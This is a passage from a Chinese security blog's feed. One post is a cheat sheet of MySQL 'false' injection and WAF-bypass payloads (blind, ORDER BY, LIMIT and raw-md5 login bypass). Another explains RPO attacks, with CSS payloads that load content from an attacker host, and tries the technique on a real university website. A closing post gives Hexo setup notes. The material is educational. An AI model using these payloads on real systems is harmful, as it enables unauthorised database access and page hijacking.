if($res->num_rows>0){</span><br><span class="line"> if($res->fetch_assoc()['role'] === 'admin') exit($flag);</span><br><span class="line"> }else{</span><br><span class="line"> echo "sorry,username or passwd error!";</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function source(){</span><br><span class="line"></span><br><span class="line"> highlight_file(__FILE__);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$username = isset($_POST['username'])?filter($_POST['username']):"";</span><br><span class="line">$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";</span><br><span class="line"></span><br><span class="line">$action = isset($_GET['action'])?filter($_GET['action']):"source";</span><br><span class="line"></span><br><span class="line">switch($action){</span><br><span class="line"> case "source": source(); break ;</span><br><span class="line"> case "login" : login($username,$passwd);break;</span><br><span class="line"> case "show" : show($username);break;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> 我们注意到filter()函数<code>$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";</code></p><p>这里看起来过滤的比较多,其中and,or还有\&,|都被过滤了,这个时候就可以利用false进行盲注。</p><p>可以在show函数利用查询的时候注入,</p><p><code>username = "admin'^!(mid((passwd)from(-{pos}))='{passwd}')='1"</code></p><p>这里官方给出的就是利用异或,其实这里并不需要’admin‘只要是一串字符串就可以</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1feyrzfspc1j20at071744.jpg" alt=""> </p><p>异或会使字符串都转为浮点数,都变为了0,由于0=0^0 -> 1^0 -> 1<br>当然对于这个题并不一定利用这个,直接截取字符串作比较就可以,但是这里只是提供一种姿势,由于mysql的灵活,其花样也比较多<br>还有就是构造的payload比较简短,例如<code>'+'、'^'、'/4#</code>这样只有三个字符便可以绕过登录,简单粗暴,还有就是类似的文章不多,许多开发人员容易忽视这些细节。</p><h5 id="4-1、结合盲注"><a href="#4-1、结合盲注" class="headerlink" title="4.1、结合盲注"></a>4.1、结合盲注</h5><p>这里false注入如果是在一些非验证的地方利用的地方基本是需要盲注,姿势比较多</p><h3 id="0x02、一些注入的技巧"><a href="#0x02、一些注入的技巧" class="headerlink" title="0x02、一些注入的技巧"></a>0x02、一些注入的技巧</h3><p>通常注入利用的姿势不是靠一个点就可以突破的,往往需要结合许多姿势技巧</p><p>mysql的注入过程中,我们用得到的一些:<br>常量:<code>true, false, null, \N, current_timestamp</code><br>变量:<code>@myvar:=1</code></p><p>系统变量:<code>@@version, @@datadir....</code></p><p>常用函数:<code>version(), pi(), pow(), char(), substring()</code></p><p>字符串生成:<code>hex(), conv()</code></p><p> 有关于字符串生成的一些基础字符(其余的字符可以由此扩展):</p><p><code>true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6</code></p><h4 id="1、过滤的绕过:"><a href="#1、过滤的绕过:" class="headerlink" title="1、过滤的绕过:"></a>1、过滤的绕过:</h4><p>过滤空格:<code>%20, %09, %0a, %0b, %0c, %0d, %a0,还有一些可以利用括号或者注释</code></p><p>过滤and,or:||,&&</p><p>union select:</p><pre><code>利用括号,'and(true)like(false)union(select(pass)from(users)),方括号union [all|distinct] select pass from users#,union%a0select pass from users,或者内联注释union/*&sort=*/select pass from users#</code></pre><p>union:<code>子查询进行盲注and length((select pass from users having substr(pass,1,1)='a'))</code></p><p>having:<code>and(select substr(group_concat(pass),1,1)from users)='a</code></p><p>select … from(过滤代码如/SELECT\s+[A-Za-z.]+\s+FROM/i/i):</p><pre><code>select [all|distinct] pass from usersselect`table_name`from`information_schema` . `tables`select pass as alias from usersselect pass aliasalias from usersselect pass`alias alias`from usersselect+pass%a0from(users)</code></pre><p>and,&,or,|:</p><pre><code>这里就是可以利用上文中提到的false注入的方式进行绕过可以通过字符串比较引入查询譬如'=1=(select .....)</code></pre><p>过滤逗号:<code>' and substr(data from 1 for 1) = 'a'#</code></p><h4 id="2、技巧:"><a href="#2、技巧:" class="headerlink" title="2、技巧:"></a>2、技巧:</h4><p>下面说几种不同情境的注入技巧</p><h5 id="2-1、like"><a href="#2-1、like" class="headerlink" title="2.1、like"></a>2.1、like</h5><p>有时候我们可以利用一些逻辑语句进行注入例如在最近的0ctf上的Temmo’s Tiny Shop这个题中,我们在搜索的时候推测出语句是在like后的,就可以通过left来进行like盲注</p><p><code>if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price)</code></p><h5 id="2-2、Limt"><a href="#2-2、Limt" class="headerlink" title="2.2、Limt"></a>2.2、Limt</h5><p>在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO是需要写的权限。</p><p>利用PROCEDURE 有两种方式,基于报错和时间的,具体文章见这里<a href="https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html" target="_blank" rel="noopener">Mysql下Limit注入方法</a></p><p>基于报错:</p><p><code>mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);</code></p><p>基于时间:</p><p><code>SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)</code></p><h5 id="2-3、order-by"><a href="#2-3、order-by" class="headerlink" title="2.3、order by"></a>2.3、order by</h5><p>order by 后的数字可以作为一个注入点。具体可以看这个文章<a href="https://www.secpulse.com/archives/57197.html" target="_blank" rel="noopener">MySQL Order By 注入总结</a></p><p>这里可以用一些判断和返回值进行利用,</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/?order=IF(1=1,name,price) 通过name字段排序</span><br><span class="line">/?order=IF(1=2,name,price) 通过price字段排序</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序</span><br><span class="line">/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/?order=IFNULL(NULL,price) 通过price字段排序</span><br><span class="line">/?order=IFNULL(NULL,name) 通过name字段排序</span><br></pre></td></tr></table></figure><p>还可以用rand函数</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/?order=rand(1=1)</span><br><span class="line">/?order=rand(1=2)</span><br></pre></td></tr></table></figure><p>通常这里我们是不知道列名的,那可以通过报错进行利用</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常</span><br><span class="line">/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误</span><br><span class="line"></span><br><span class="line">利用regexp</span><br><span class="line">/?order=(select+1+regexp+if(1=1,1,0x00)) 正常</span><br><span class="line">/?order=(select+1+regexp+if(1=2,1,0x00)) 错误</span><br><span class="line"></span><br><span class="line">利用updatexml</span><br><span class="line">/?order=updatexml(1,if(1=1,1,user()),1) 正确</span><br><span class="line">/?order=updatexml(1,if(1=2,1,user()),1) 错误</span><br><span class="line"></span><br><span class="line">利用extractvalue</span><br><span class="line">/?order=extractvalue(1,if(1=1,1,user())) 正确</span><br><span class="line">/?order=extractvalue(1,if(1=2,1,user())) 错误</span><br><span class="line">利用sleep()也可以....</span><br><span class="line">方法比较灵活</span><br></pre></td></tr></table></figure><h5 id="3、有关函数"><a href="#3、有关函数" class="headerlink" title="3、有关函数"></a>3、有关函数</h5><h6 id="3-1-不常用函数绕过滤"><a href="#3-1-不常用函数绕过滤" class="headerlink" title="3.1 不常用函数绕过滤"></a>3.1 不常用函数绕过滤</h6><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'</span><br><span class="line">rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'</span><br><span class="line">left(data,1)</span><br><span class="line">reverse(right(reverse(data),1))</span><br><span class="line">insert(insert(version(),1,0,space(0)),2,222,space(0))</span><br></pre></td></tr></table></figure><h6 id="3-2-搜索匹配类的函数"><a href="#3-2-搜索匹配类的函数" class="headerlink" title="3.2 搜索匹配类的函数"></a>3.2 搜索匹配类的函数</h6><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">'-if(locate('f',data),1,0)#</span><br><span class="line">'-if(locate('fo',data),1,0)#</span><br><span class="line">'-if(locate('foo',data),1,0)#</span><br><span class="line">instr(), position()</span><br></pre></td></tr></table></figure><h6 id="3-3、一些数学函数"><a href="#3-3、一些数学函数" class="headerlink" title="3.3、一些数学函数"></a>3.3、一些数学函数</h6><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">1、format(x,y) 函数,功能是将一个数字x,保留y位小数,并且整数部分用逗号分隔千分位,小数部分四舍五入。</span><br><span class="line">2、abs(); 求一个数的绝对值;absolute</span><br><span class="line">3、sqrt();求一个数的平方根。sqrt是sqruar(平方,矩形) ,root(根)的缩写。</span><br><span class="line">4、mod(x,y) x除数,y被除数。结束是余数。</span><br><span class="line">5、ceil() 进一取整。floor()舍一取整</span><br><span class="line">这两个函数是镜子函数,比较有点意思。这两个函数并不进行四舍五入,比较强硬。</span><br><span class="line">6、rand() 顾名思义,是用来生成随机数用的。种子不变数值不变。</span><br><span class="line">7、format 会自动进行千分位,下面我们来看看round函数,进行四舍五入。</span><br><span class="line">8、truncate(x,y) 比较霸道,不管四舍五入,直接把x,的y位小数直接干掉。</span><br><span class="line">9、sign() 返回当前结果得符号,如果是负数返回-1,如果是0 返回0 如果是正数,返回1.</span><br><span class="line">10、power() 幂运算</span><br><span class="line">11.SIN(X)、ASIN(X)、COS(X)、ACOS(X)、TAN(X)、ATAN(X)、COT(X) 三角函数</span><br><span class="line">12.RADIANS(X) 和 DEGREES(X): 角度与弧度转换函数</span><br><span class="line">13. LOG(X)和LOG10(X): 对数运算函数</span><br><span class="line">14. POW(X,Y), POWER(X,Y)和EXP(X)</span><br></pre></td></tr></table></figure><h6 id="3-4、使用函数进行字符串的切割"><a href="#3-4、使用函数进行字符串的切割" class="headerlink" title="3.4、使用函数进行字符串的切割"></a>3.4、使用函数进行字符串的切割</h6><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">length(trim(leading 'a' FROM data)) # length will be shorter</span><br><span class="line">length(replace(data, 'a', '')) # length will be shorter</span><br></pre></td></tr></table></figure><h4 id="4-关于php中md5的一个有意思的小技巧"><a href="#4-关于php中md5的一个有意思的小技巧" class="headerlink" title="4 关于php中md5的一个有意思的小技巧"></a>4 关于php中md5的一个有意思的小技巧</h4><p>PHP中这么一段sql语句</p><p><code>$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";</code></p><p>这里是可以注入绕过的,在php关于<a href="http://php.net/manual/en/function.md5.php" target="_blank" rel="noopener">MD5函数</a>的介绍说</p><p>如果可选的 <code>raw_output</code> 被设置为 <strong>TRUE</strong>,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。</p><p>也就是找到一个字符串MD5的二进制恰好和字符编码中的某些编码对上了,就可以产生注入,原文作者找到这么一串字符串<code>ffifdyop</code>,md5加密后对应字符编码刚好是<code>'or'<trash></code>,便产生注入</p><p>这里的<a href="http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes" target="_blank" rel="noopener">原文在这</a></p><h3 id="END"><a href="#END" class="headerlink" title="END"></a>END</h3><p>false注入也许在某些时候会利用,但是对其中并不是很了解,所以在这里进行了一下系统地总结。 </p><p>同时往往在利用的时候往往不只是一个点,要结合许多姿势。文章后半部分就是总结了一些注入小姿势,并不是很系统有些散,如果有错误欢迎大佬指出。</p><p>参考:</p><p><a href="https://www.exploit-db.com/papers/18263/" target="_blank" rel="noopener">https://www.exploit-db.com/papers/18263/</a></p><p><a href="https://www.secpulse.com/archives/57197.html" target="_blank" rel="noopener">https://www.secpulse.com/archives/57197.html</a></p><p><a href="http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes" target="_blank" rel="noopener">http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes</a></p><p><a href="https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html" target="_blank" rel="noopener">https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html</a></p>]]></content>
<summary type="html">
<p>利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结。</p>
<p>原文首发在安全客,文章地址:<a href="http://bobao.360.cn/learning/detail/3804.html" target="_blank" rel="noopener">http://bobao.360.cn/learning/detail/3804.html</a><br>有点可惜小编排版有些不是很完美。</p>
</summary>
<category term="SQL注入" scheme="http://blog.leej.me/tags/SQL%E6%B3%A8%E5%85%A5/"/>
</entry>
<entry>
<title>RPO攻击</title>
<link href="http://blog.leej.me/2017/04/24/RPO%E6%94%BB%E5%87%BB/"/>
<id>http://blog.leej.me/2017/04/24/RPO攻击/</id>
<published>2017-04-24T00:07:17.000Z</published>
<updated>2018-02-07T04:11:15.709Z</updated>
<content type="html"><![CDATA[<p>最近见到几个题,了解到一种攻击方式,就是有RPO攻击,就是浏览器解析页面路径有误而导致css文件加载路径错误,从而引发的任意解析。<br><a id="more"></a></p><h1 id="RPO攻击"><a href="#RPO攻击" class="headerlink" title="RPO攻击"></a>RPO攻击</h1><p>最近见到几个题,了解到一种攻击方式,就是有RPO攻击</p><h3 id="0x00概述"><a href="#0x00概述" class="headerlink" title="0x00概述"></a>0x00概述</h3><p>浏览器解析页面路径有误而导致css文件加载路径错误,从而引发的任意解析。</p><h4 id="引子:"><a href="#引子:" class="headerlink" title="引子:"></a>引子:</h4><p>1.在php有些框架中会有些pathinfo模式的url,就像<a href="http://localhost/index.php/home/user/login/var/value/" target="_blank" rel="noopener">http://localhost/index.php/home/user/login/var/value/</a> 如果此时页面需要加载css,同时是以一个相对路径进行加载,会出现什么问题呢?</p><p>2.有时url例如这样<a href="http://test.com/a/b/c/d/e/f.html" target="_blank" rel="noopener">http://test.com/a/b/c/d/e/f.html</a> 的时候,如果<br>我访问的是<a href="http://test.com/a/b/c/d/..%2fe/f.html" target="_blank" rel="noopener">http://test.com/a/b/c/d/..%2fe/f.html</a> 这样会出现啥样的问题?</p><h4 id="0x01攻击"><a href="#0x01攻击" class="headerlink" title="0x01攻击"></a>0x01攻击</h4><p>针对上面的问题,我简单的写了一个demon测试了一下</p><p>php代码<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><?php $path='http://localhost/hello/'?></span><br><span class="line"><a class="navbar-brand" href="<?php echo $path?>url.php">三国杀</a></span><br><span class="line"><li class="active" id='wei'><a href="<?php echo $path?>url.php/country/wei">魏</a></li></span><br><span class="line"><li id ='shu'><a href="<?php echo $path?>url.php/country/shu">蜀</a></li></span><br><span class="line"><li class="active" id='wu'><a href="<?php echo $path?>url.php/country/wu">吴</a></li></span><br><span class="line"><link rel="stylesheet" href="./style.css" style="css" /></span><br><span class="line"><?php</span><br><span class="line">$arr=isset($_SERVER['PATH_INFO'])?explode('/',trim($_SERVER['PATH_INFO'],'/')):null;</span><br><span class="line">//var_dump($arr);</span><br><span class="line">//echo $arr</span><br><span class="line">$value='';</span><br><span class="line">for($_=0;$_<count($arr);$_+=2)</span><br><span class="line">{</span><br><span class="line"> $value[$arr[$_]] = $arr[$_+1];</span><br><span class="line">}</span><br><span class="line">$value['country']=isset($value['country'])?$value['country']:null;</span><br><span class="line">switch ($value['country']) {</span><br><span class="line"> case 'wei':</span><br><span class="line"> ?></span><br><span class="line"> <h1>welcome to 魏国!</h1></span><br><span class="line"> <?php</span><br><span class="line"> break;</span><br><span class="line"> case 'shu':</span><br><span class="line"> ?></span><br><span class="line"></span><br><span class="line"> <h1>welcome to 蜀国!</h1></span><br><span class="line"></span><br><span class="line"> <?php</span><br><span class="line"> break;</span><br><span class="line"> case 'wu':</span><br><span class="line"> ?></span><br><span class="line"> <h1>welcome to 吴国!</h1></span><br><span class="line"></span><br><span class="line"> <?php</span><br><span class="line"> break;</span><br><span class="line"></span><br><span class="line"> default:</span><br><span class="line"> ?></span><br><span class="line"> <h1>welcome!</h1></span><br><span class="line"> <?php</span><br><span class="line"> break;</span><br><span class="line">}</span><br><span class="line">?></span><br><span class="line">`</span><br></pre></td></tr></table></figure></p><p>style.css文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">h1 {</span><br><span class="line">font-size:180px;</span><br><span class="line">color:blue;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>注意这里css文件加载是以一个相对路径加载的</p><p><code><link rel="stylesheet" href="./style.css" style="css" /></code></p><p>这里传参是利用<code>/</code>来进行分割,发现直接打开页面是没有问题的。<br><img src="http://ww1.sinaimg.cn/mw690/7e2785d1gy1fevj8f89h9j20p80eyt95.jpg" alt=""></p><p>但是发现如果有传参的话,就出现问题了。<br><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1fevjctwms8j20p108v0sx.jpg" alt=""></p><p>是哪里的问题?</p><p>在这里浏览器误以为我们参数的键/country/是一个实际的路径,从而导致实际加载的css文件路径就成了<br><code>http://localhost/hello/url.php/country/style.css</code></p><p><img src="http://ww1.sinaimg.cn/mw690/7e2785d1gy1fevjhqvulij20lr0790sr.jpg" alt=""></p><p>在这里服务端收到的请求会认为请求/country/style.css是一个键为country值为style.css的参数,从而返回页面。</p><h3 id="0x02利用"><a href="#0x02利用" class="headerlink" title="0x02利用"></a>0x02利用</h3><p>说到底是要实际利用的,之前的例子只是说明了,我们可以打乱他的css的路径使其不能正常显示,那么如果那个加载的css我们可以控制就好了,这里就是用了一个小技巧,下面借鉴国外的一篇文章的分析</p><blockquote><p>css文件路径为../../styles.css,URL写为<br> <code>http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html</code><br><br>返回正确<br>服务器接收到的是<code>/tools/toolbar/buttons/apis/howto_guide.html</code><br><br>浏览器接收到的是 <code>/tools/toolbar/buttons/apis%2fhowto_guide.html</code><br><br>页面中导入的样式表 为 <code>/tools ~~/toolbar/buttons/../../~~ style.css</code><br><br>浏览器认为style.css的根目录是<code>tools/toolbar/buttons</code>,而不是<code>tools/toolbar/button/apis</code><br><br>所以../../style.css跳到了更高一级的目录下</p></blockquote><p>这个就比较有意思了,style.css是往上跳两级,如果我们在这两级中加个/tools/toolbar/<strong>a/..%2f</strong>buttons/apis/howto_guide.html这样,服务器收到这里的是/tools/toolbar/ <del>a/../</del> buttons/apis/howto_guide.html相当于没有加,但是浏览器依然以为/..%2f和后面的是一个路径这样的话我们就使加载的css文件是在一个我们自己构造的文件夹a中了</p><p>这样有啥子用处呢?</p><p>首先要了解的是,浏览器解析css文件是兼容性比较高的,他不去关注那些杂乱的字符,只要我们可以空出一行或者可以分割杂乱字符就可以了,比如<code>asda{}body {background: url(./aaa.jpg);}asfa</code>这样就可以正确的加载。</p><p>其次,如果在网站里还有一处评论留言 或者搜索能使页面的部分内容是我们可以控制的话,我们可以构造css的语句,然后使加载的css文件可以跳到这里,便可以控制页面css的样式了。</p><p>下面举一个例子,还是学校的某处网站(<code>http://xsc.cuit.edu.cn/WebSite/Web/SearchList-Title~111.html</code>)。<br><img src="http://ww1.sinaimg.cn/mw690/7e2785d1gy1fex6lxf61dj20yi08pn1x.jpg" alt=""><br>这里的搜索的参数是直接在url的,我首先想了想如果我们搜索a/c/这样的话浏览器会不会认为这都是路径从而乱套啊,试了一下发现服务器考虑到这个问题,我输入一个/他就会多跳一级。<br><img src="http://ww1.sinaimg.cn/mw690/7e2785d1gy1fex6v1pgloj20if034dft.jpg" alt=""></p><p><img src="http://ww1.sinaimg.cn/mw690/7e2785d1gy1fex6v1hrjlj20kg03gt8p.jpg" alt=""><br>(想了想这种方式还是比较脆弱的,如果我是两个连续的/浏览器并不会认为这是两级目录,但是服务器却会返回调两级的地址。)</p><p>我们这时候还需要找一个可以插入payload的页面<code>http://xxxx/WebSite/Web/NewsList_Wyls.html</code></p><p>分析一下,我们源页面路径是/WebSite/Web/SearchList-Title~111.html,现在需要跳转到/WebSite/Web/NewsList_Wyls.html,如果把NewsList_Wyls.html当成目录的话,那只需要跳一级就可以了,最后构造的url是<code>http://xsc.cuit.edu.cn/WebSite/Web/NewsList_Wyls.html/..%2fSearchList-Title~33s.html</code></p><p><img src="http://ww1.sinaimg.cn/mw690/7e2785d1gy1fex75p7ej1j20i40ac0u6.jpg" alt=""></p><p>可以看到具体加载的css文件成功的转到我们需要的页面了</p><p>可惜的是这里并没有成功渲染,我把加载的css源码拖到本地执行,是有效的,不晓得为啥子这里就不行了。但是总的攻击流程大概就是这样。</p><h3 id="CTF题目"><a href="#CTF题目" class="headerlink" title="CTF题目"></a>CTF题目</h3><h4 id="题目一"><a href="#题目一" class="headerlink" title="题目一"></a>题目一</h4><p>最近有CTF就是利用的这个攻击方式的,pwnhub上的那个流程和之前类似,最后就是在user页面写{}*{backgorund: url(‘<a href="http://ip:port');}然后构造好url提交给bot然后等bot访问后加载css就ok了,说实话这种利用方式感觉并没有什么实际的用处。" target="_blank" rel="noopener">http://ip:port');}然后构造好url提交给bot然后等bot访问后加载css就ok了,说实话这种利用方式感觉并没有什么实际的用处。</a></p><h4 id="题目二"><a href="#题目二" class="headerlink" title="题目二"></a>题目二</h4><p>在<a href="http://117.34.111.15:3000,这道题中就比较有意思了,贴一下出题人的wp" target="_blank" rel="noopener">http://117.34.111.15:3000,这道题中就比较有意思了,贴一下出题人的wp</a></p><p><img src="http://ww1.sinaimg.cn/mw690/7e2785d1gy1fex7wick3rj20i20m6dky.jpg" alt=""></p><p>思路相当可以,差不多就是利用未闭合的单引号来包裹源码,通过访问的url读取源码。</p><p>这里有些坑感觉,由于对css语法并不是很了解,有空了在研究研究看看。</p><h3 id="附"><a href="#附" class="headerlink" title="附"></a>附</h3><p>常见的可以加载加载远程文件的方法</p><p><code>{} @importurl('http://1.2.3.4/');</code><br>或者加载背景<br><code>{}body {background: url(http://ip:port);}</code></p><p>之前看到可以通过这种css的方式加载图片background-image:url(data:image/gif;base64,R0lGODlhAQAcALMAAMXh96HR97XZ98Hf98Xg97DX97nb98Lf97vc98Tg973d96rU97ba97%2Fe96XS9wAAACH5BAAAAAAALAAAAAABABwAAAQVMLhVBDNItXESAURyDI2CGIxQLE4EADs%3D);</p><p>我想是不是可以尝试加载js代码?<br>类似于data类型的地址有如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">data:text/plain,<文本数据></span><br><span class="line">data:text/html,<HTML代码></span><br><span class="line">data:text/html;base64,<base64编码的HTML代码></span><br><span class="line">data:text/css,<CSS代码></span><br><span class="line">data:text/css;base64,<base64编码的CSS代码></span><br><span class="line">data:text/javascript,<Javascript代码></span><br><span class="line">data:text/javascript;base64,<base64编码的Javascript代码></span><br><span class="line">data:image/gif;base64,base64编码的gif图片数据</span><br><span class="line">data:image/png;base64,base64编码的png图片数据</span><br><span class="line">data:image/jpeg;base64,base64编码的jpeg图片数据</span><br><span class="line">data:image/x-icon;base64,base64编码的icon图片数据</span><br><span class="line">``````</span><br></pre></td></tr></table></figure></p><p>还有这样javascript:alert(‘xss’);<br>发现这样并不会解析。</p><p>LINKS:<br><a href="http://www.cnblogs.com/iamstudy/articles/ctf_writeup_rpo_attack.html" target="_blank" rel="noopener">http://www.cnblogs.com/iamstudy/articles/ctf_writeup_rpo_attack.html</a><br><a href="https://mp.weixin.qq.com/s/P-ncFmNZfBteJBQr8INzsw" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/P-ncFmNZfBteJBQr8INzsw</a><br><a href="http://static.hx99.net/static/bugs/wooyun-2011-02203.html" target="_blank" rel="noopener">http://static.hx99.net/static/bugs/wooyun-2011-02203.html</a></p><p>留着以后发现新姿势在利用吧。</p>]]></content>
<summary type="html">
<p>最近见到几个题,了解到一种攻击方式,就是有RPO攻击,就是浏览器解析页面路径有误而导致css文件加载路径错误,从而引发的任意解析。<br>
</summary>
<category term="css" scheme="http://blog.leej.me/tags/css/"/>
<category term="前端" scheme="http://blog.leej.me/tags/%E5%89%8D%E7%AB%AF/"/>
</entry>
<entry>
<title>博客小记</title>
<link href="http://blog.leej.me/2017/02/07/%E5%8D%9A%E5%AE%A2%E5%B0%8F%E8%AE%B0/"/>
<id>http://blog.leej.me/2017/02/07/博客小记/</id>
<published>2017-02-07T08:08:56.000Z</published>
<updated>2017-02-07T08:33:32.309Z</updated>
<content type="html"><![CDATA[<h1 id="博客小记"><a href="#博客小记" class="headerlink" title="博客小记"></a>博客小记</h1><p>博客换了好几次主题,这里记录一下<br><a id="more"></a></p><h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><p><code>sudo apt-get install nodejs</code></p><p><code>sudo npm install hexo -g</code></p><p><code>hexo init <dir></code></p><p>发布到git:<a href="https://hexo.io/docs/deployment.html" target="_blank" rel="noopener">https://hexo.io/docs/deployment.html</a></p><h4 id="Create-a-new-post"><a href="#Create-a-new-post" class="headerlink" title="Create a new post"></a>Create a new post</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo new "My New Post"</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/writing.html" target="_blank" rel="noopener">Writing</a></p><h4 id="Run-server"><a href="#Run-server" class="headerlink" title="Run server"></a>Run server</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo server</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/server.html" target="_blank" rel="noopener">Server</a></p><h4 id="Generate-static-files"><a href="#Generate-static-files" class="headerlink" title="Generate static files"></a>Generate static files</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo generate</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/generating.html" target="_blank" rel="noopener">Generating</a></p><h4 id="Deploy-to-remote-sites"><a href="#Deploy-to-remote-sites" class="headerlink" title="Deploy to remote sites"></a>Deploy to remote sites</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo deploy</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/deployment.html" target="_blank" rel="noopener">Deployment</a> </p><h3 id="主题:cactus-dark"><a href="#主题:cactus-dark" class="headerlink" title="主题:cactus-dark"></a>主题:<a href="https://github.com/probberechts/cactus-dark" target="_blank" rel="noopener">cactus-dark</a></h3><h4 id="Install"><a href="#Install" class="headerlink" title="Install"></a>Install</h4><ol><li><p>In the <code>root</code> directory:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 